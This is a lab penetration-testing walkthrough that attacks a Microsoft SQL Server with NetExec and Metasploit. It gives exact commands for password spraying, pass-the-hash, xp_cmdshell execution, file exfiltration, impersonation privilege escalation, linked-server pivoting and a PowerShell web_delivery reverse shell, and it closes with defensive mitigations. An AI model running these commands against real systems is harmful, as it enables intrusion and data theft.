Overview

Microsoft SQL Server is one of the most valuable targets on a Windows network: it stores sensitive data, runs under privileged service accounts, and frequently trusts other database servers. This article presents a complete, hands-on penetration test of an MSSQL instance using NetExec (nxc), the actively maintained successor to CrackMapExec. It walks the full attack lifecycle in twenty-eight practical steps — from the first credential spray through code execution, file transfer, privilege escalation, and finally lateral movement and network pivoting via linked servers and a Metasploit session.

Every technique is presented the same way: a short explanation of what the technique does and why it matters, the exact command shown on its own, and the captured result. Read end to end, the article doubles as a repeatable playbook for offensive testers and as a clear map of the weaknesses that defenders must close — the latter consolidated into a dedicated mitigation section near the end.

Table of Content

• Introduction
• Lab Environment

Part 1 — Access, Enumeration, and Exploitation

• Brute-Forcing Credentials (Windows Authentication)
• Brute-Forcing Local SQL Logins
• Pass-the-Hash Authentication
• Authenticating a Single Local Login
• Authenticating Domain Credentials
• Executing SQL Queries
• Executing Operating-System Commands
• Command Execution via Pass-the-Hash
• Uploading Files to the Target
• Downloading Files from the Target
• Enumerating Impersonation Escalation
• Escalating Privileges via Impersonation
• Rolling Back the Privilege Escalation
• Enabling xp_cmdshell
• Verifying the Service Context
• Enumerating Users with Impersonation Rights
• Enumerating SQL Logins
• Enumerating Linked Servers
• Executing Commands on a Linked Server
• Enabling xp_cmdshell on a Linked Server

Part 2 — Sessions, Lateral Movement, and Pivoting

• Executing Commands on a Linked Server (link_xpcmd)
• Disabling xp_cmdshell on a Linked Server
• Staging a Metasploit Web Delivery Payload
• Delivering the Payload via the web_delivery Module
• Catching the Meterpreter Session
• Identifying SQL Server on a Non-Default Port
• Authenticating Against a Custom Port
• Testing Connectivity to Another Host

Mitigation Strategies 

Conclusion      

Introduction

NetExec (nxc) gives penetration testers a single, fast interface for attacking network services on a scale. Its mssql protocol turns Microsoft SQL Server into a rich attack surface: an operator can spray credentials, replay NTLM hashes, run operating-system commands, move files in both directions, abuse impersonation rights, and pivot through linked servers — all from concise, scriptable commands. The engagement that follows targets a Windows Server 2019 host running SQL Server. It begins with credential discovery and authentication, advances through enumeration and post-exploitation, and culminates in lateral movement, an interactive Metasploit session, and internal pivoting. Each step pairs a plain-language explanation with the precise command and the result it produced against the live target.

Lab Environment

All techniques were executed against the following controlled lab. The same target instance also listens on a non-default port to demonstrate port-agnostic enumeration and trusts a second SQL Server reachable as a linked server.

• Target host: 192.168.1.13 — Windows Server 2019, Microsoft SQL Server
• SQL instance: WIN-058B74D7QOH\SQLEXPRESS (default port 1433; also listening on 9070)
• Linked server: WIN-SQL (a second, trusted SQL Server used for lateral movement)
• Domain: ignite.local
• Attacker: Kali Linux running NetExec (nxc) and Metasploit, interface 192.168.1.17

Part 1 — Access, Enumeration, and Exploitation

The first phase establishes access to the SQL Server and turns that access into control of the host. It moves from credential discovery through authentication, query and command execution, file transfer, privilege escalation by impersonation, and enumeration of logins and linked servers.

Brute-Forcing Credentials (Windows Authentication)

NetExec accepts a wordlist for both the username (-u) and password (-p) arguments and tests every pair against the SQL Server. The –continue-on-success flag keeps the spray running after the first hit, so the operator surfaces every valid combination rather than stopping early. Against the target, the run flags two successful logins — lowpriv:Password@2 and administrator:Ignite@987 — with the administrator account returning the (Pwn3d!) marker that signals full control of the instance.

nxc mssql 192.168.1.13 -u users.txt -p pass.txt --continue-on-success

Brute-Forcing Local SQL Logins

Adding –local-auth redirects the spray at the server’s local SQL logins instead of domain principals — the right choice when built-in accounts such as sa are not backed by Active Directory. NetExec confirms sa:Password@123 with a (Pwn3d!) and validates lowpriv:Password@1 and ignite:Password@2.

nxc mssql 192.168.1.13 -u users.txt -p pass.txt --continue-on-success --local-auth

Pass-the-Hash Authentication

When the engagement yields an NTLM hash rather than a clear-text password, NetExec replays the hash directly through the -H flag. Pairing the hash with a user list quickly identifies the account it belongs to; here, the administrator login authenticates and returns (Pwn3d!), proving the hash grants privileged access without ever cracking it.

nxc mssql 192.168.1.13 -u users.txt -H 32196B56FFE6F45E294117B91A83BF38 --continue-on-success

Authenticating a Single Local Login

Once a working pair is known, the operator confirms it cleanly with a single -u/-p and –local-auth. NetExec authenticates sa:Password@123 and reports (Pwn3d!), confirming sysadmin-level access over the SQL instance and setting up the post-exploitation steps that follow.

nxc mssql 192.168.1.13 -u sa -p 'Password@123' --local-auth

Authenticating Domain Credentials

To authenticate a domain account, the operator supplies the domain with -d. NetExec validates ignite.local\administrator using the password Ignite@987 and returns (Pwn3d!), confirming the credentials work at the domain level against the SQL service.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local

Executing SQL Queries

The -q flag runs arbitrary T-SQL through the authenticated session. Querying the system catalog enumerates the instance’s databases — master, tempdb, model, and msdb — giving the operator a fast map of the data layer before taking deeper action.

nxc mssql 192.168.1.13 -u sa -p 'Password@123' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

Executing Operating-System Commands

With sysadmin rights, NetExec executes operating-system commands through xp_cmdshell using its mssqlexec method and the -x flag. The two runs below — one with domain credentials and one with –local-auth — each execute ipconfig and return the host’s full network configuration, proving command execution on the underlying Windows server.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local -x ipconfig
nxc mssql 192.168.1.13 -u sa -p 'Password@123' --local-auth -x ipconfig

Command Execution via Pass-the-Hash

Command execution never requires the cleartext password. NetExec combines the NTLM hash (-H) with -x ipconfig, first authenticating the administrator login and then executing the command — a concise demonstration of hash-based remote code execution against MSSQL.

nxc mssql 192.168.1.13 -u administrator -H 32196B56FFE6F45E294117B91A83BF38 -x ipconfig

Uploading Files to the Target

NetExec stages files on the victim with –put-file, which takes a local file and an absolute remote path. The tool copies file.txt to C:\Windows\Temp\file.txt, confirms its 23-byte size, and reports a successful upload — a reliable way to deliver tooling or payloads to the host.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local --put-file file.txt 'C:\Windows\Temp\file.txt'

Downloading Files from the Target

The reverse operation, –get-file, exfiltrates a remote file to a local path. NetExec pulls C:\Windows\Temp\file.txt down to /tmp/file.txt, and a quick cat confirms the retrieved contents, closing the loop on bidirectional file transfer.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local --get-file 'C:\Windows\Temp\file.txt' /tmp/file.txt

Enumerating Impersonation Privileges

The mssql_priv module inspects what the current login is allowed to do. Run against the low-privileged ignite account, it reveals that ignite can impersonate sa (sysadmin) — a classic and directly exploitable MSSQL misconfiguration.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' -M mssql_priv --local-auth

Escalating Privileges via Impersonation

Setting -o ACTION=privesc instructs the module to abuse that impersonation right. NetExec impersonates sa and grants the ignite login the sysadmin role, reporting that “ignite is now a sysadmin!” with the familiar (Pwn3d!) confirmation.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' -M mssql_priv --local-auth -o ACTION=privesc

Rolling Back the Privilege Escalation

Responsible testing demands cleanup. ACTION=rollback reverses the previous change, removing the sysadmin role that was granted to ignite and returning the account to its original privilege level.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' -M mssql_priv --local-auth -o ACTION=rollback

Enabling xp_cmdshell

SQL Server disables xp_cmdshell by default. The enable_cmdshell module with ACTION=enable switches it on, unlocking the operating-system command execution that the earlier -x techniques rely upon.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' -M enable_cmdshell -o ACTION=enable --local-auth

Verifying the Service Context

Running -x whoami reveals the identity that actually executes commands. The output nt service\mssql$sqlexpress shows that commands run as the SQL Express service account — essential context for planning the next stage of privilege escalation on the host.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -x whoami

Enumerating Users with Impersonation Rights

The enum_impersonate module lists every principal the current login can impersonate. It identifies sa as a valid impersonation target, independently confirming the escalation path discovered with mssql_priv.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M enum_impersonate

Enumerating SQL Logins

The enum_logins module enumerates the instance’s logins together with their type and status. It lists ignite and sa as enabled SQL users, helping the operator decide which accounts are worth targeting next.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M enum_logins

Enumerating Linked Servers

Linked servers extend an instance’s reach into other databases and hosts. The enum_links module discovers two: the local WIN-058B74D7QOH\SQLEXPRESS and a remote WIN-SQL — the latter a promising pivot into a second machine.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M enum_links

Executing Commands on a Linked Server

The exec_on_link module runs a query on a linked server through the compromised instance. Targeting WIN-SQL with select @@servername returns WIN-6I5RSJTM0JR, proving that commands now execute on the remote linked host — lateral movement achieved entirely through SQL.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M exec_on_link -o LINKED_SERVER=WIN-SQL COMMAND='select @@servername'

Enabling xp_cmdshell on a Linked Server

To gain operating-system command execution on the pivot target, the link_enable_cmdshell module enables xp_cmdshell on the linked server. NetExec reports that the feature was previously disabled and then enables it on WIN-SQL, opening the door to remote command execution across the SQL trust relationship.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M link_enable_cmdshell -o LINKED_SERVER=WIN-SQL ACTION=enable

Part 2 — Sessions, Lateral Movement, and Pivoting

The second phase converts the foothold into a deeper reach. It completes the linked-server attack chain, hands the SQL foothold to Metasploit for a full Meterpreter session, defeats a non-default service port, and turns the database host into a pivot for internal reconnaissance.

Executing Commands on a Linked Server (link_xpcmd)

Building on the linked-server access established earlier, the link_xpcmd module runs operating-system commands on the remote server through the local instance’s trust relationship. Targeting WIN-SQL with the whoami command, NetExec executes it across the link and returns win-sql\administrator — proof that the operator commands the remote host in a privileged context, all routed through the compromised SQL Server.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M link_xpcmd -o LINKED_SERVER=WIN-SQL
CMD='whoami'

Disabling xp_cmdshell on a Linked Server

Good operational hygiene means restoring a target’s configuration after testing. The link_enable_cmdshell module accepts ACTION=disable to reverse the change made earlier. NetExec reports the current value as True, then disables xp_cmdshell on WIN-SQL — returning the linked server to its original, hardened state.

nxc mssql 192.168.1.13 -u ignite -p 'Password@2' --local-auth -M link_enable_cmdshell -o LINKED_SERVER=WIN-SQL ACTION=disable

Staging a Metasploit Web Delivery Payload

To upgrade SQL command execution into a full interactive session, the operator stages a payload with Metasploit’s web_delivery exploit. Configuring a 64-bit Meterpreter reverse TCP payload, setting LHOST to the attacker interface, and selecting the PowerShell (PSH) target produces a hosted URL and a one-line PowerShell stager. The reverse handler comes up on port 4444, ready to catch the incoming session.

msfconsole -q
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set lhost eth0
set target PSH
run

Delivering the Payload via the web_delivery Module

NetExec’s own web_delivery module pushes the Metasploit-generated URL straight onto the target. Authenticating as the domain administrator and passing the hosted URL, NetExec confirms (Pwn3d!) and executes the stager through mssqlexec. The xp_cmdshell call reports a timeout because the spawned PowerShell process keeps running in the background — expected behavior that does not prevent the payload from firing.

$ nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local -M web_delivery -o URL=http://192.168.1.17:8080/Szrsx1sW

Catching the Meterpreter Session

Back in Metasploit, the handler receives the call-back: it delivers the payload, sends the stage, and opens Meterpreter session 1. Interacting with the session and running sysinfo confirms full control of WIN-058B74D7QOH — Windows Server 2019, x64 — completing the pivot from a SQL login to an interactive system shell.

sessions 1
sysinfo

Identifying SQL Server on a Non-Default Port

SQL Server does not always listen on 1433. A targeted Nmap service scan against port 9070 fingerprints the service as Microsoft SQL Server 2016, confirming that the instance has simply been relocated to a non-standard port — a common attempt at security through obscurity that enumeration defeats immediately.

nmap -p 9070 -sV 192.168.1.13

Authenticating Against a Custom Port

NetExec adapts to the relocated service with the –port flag. Pointing the mssql protocol at port 9070 and authenticating as the domain administrator, the tool returns (Pwn3d!), proving that a non-standard port offers no protection once the listening service is known.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' --port 9070 -d ignite.local

Testing Connectivity to Another Host

The test_connection module turns the compromised SQL Server into a pivot for network reconnaissance. Supplying a target with HOST=192.168.1.11, NetExec executes the check through mssqlexec and reports Pinged successfully — confirming the database server can reach an internal host that may not be directly accessible from the attacker’s position.

nxc mssql 192.168.1.13 -u administrator -p 'Ignite@987' -d ignite.local -M test_connection -o HOST=192.168.1.11

Mitigation Strategies

The speed with which NetExec moved from a single credential to full host compromise and lateral reach is precisely the point defenders should take away. Each step in the kill chain maps to a concrete, well-understood control. Applying the following measures closes the weaknesses demonstrated throughout this article.

Enforce strong authentication.

Require long, unique passwords for every SQL login, disable or remove unused accounts such as default sa where possible, and rename and tightly restrict any that must remain. Strong credentials defeat the password sprays shown in the opening steps.

Protect credentials and hashes.

Limit NTLM where it is not required, rotate service-account secrets, and deploy LAPS for local administrator passwords so that a single recovered hash cannot be replayed across the environment via Pass-the-Hash.

Keep xp_cmdshell disabled.

Leave xp_cmdshell off by default and generate a high-priority alert whenever it is enabled. Most operating-system command execution in this article depended on turning it on.

Audit impersonation grants.

Review and minimise IMPERSONATE permissions and EXECUTE AS rights. Removing unnecessary grants eliminates the impersonation path that escalated the low-privileged login to sysadmin.

Secure linked-server trusts.

Inventory all linked servers, remove those that are no longer needed, and configure the remainder to use least-privileged accounts rather than passing through high-privilege contexts. This blocks the cross-server command execution and pivoting demonstrated in both parts.

Apply least privilege to service accounts.

Run the SQL Server service under a low-privilege account so that command execution through the database does not immediately yield a powerful Windows context.

Do not rely on non-standard ports.

Treat a non-default port as documentation, not security control. Apply identical hardening regardless of port and use firewalls and network segmentation to restrict who can reach the service at all.

Segment the network.

Place database servers in restricted segments so a compromised instance cannot freely reach sensitive internal hosts, neutralising the connectivity-testing and pivoting techniques.

Monitor and detect.

Log and alert MSSQL authentication failures and sprays, hash-based logins, module activity, configuration changes, PowerShell stagers, and unexpected outbound connections originating from database servers.

Conclusion

Across twenty-eight steps, NetExec compressed an entire MSSQL kill chain into a handful of repeatable commands — discovering credentials, authenticating by password and hash, executing queries and operating system commands, transferring files, escalating privileges through impersonation, and finally moving laterally across linked servers and into a full Metasploit session and an internal pivot.

The same efficiency that makes NetExec invaluable to red teams is a clear warning to defenders. None of the techniques shown relied on novel vulnerability; each exploited a familiar misconfiguration — weak credentials, replayable hashes, careless impersonation grants, exposed linked-server trusts, and over-privileged service accounts. By enforcing strong authentication, applying least privilege, hardening linked servers, and monitoring database activity, organisations can break this chain long before an attacker reaches the data that SQL Server was built to protect.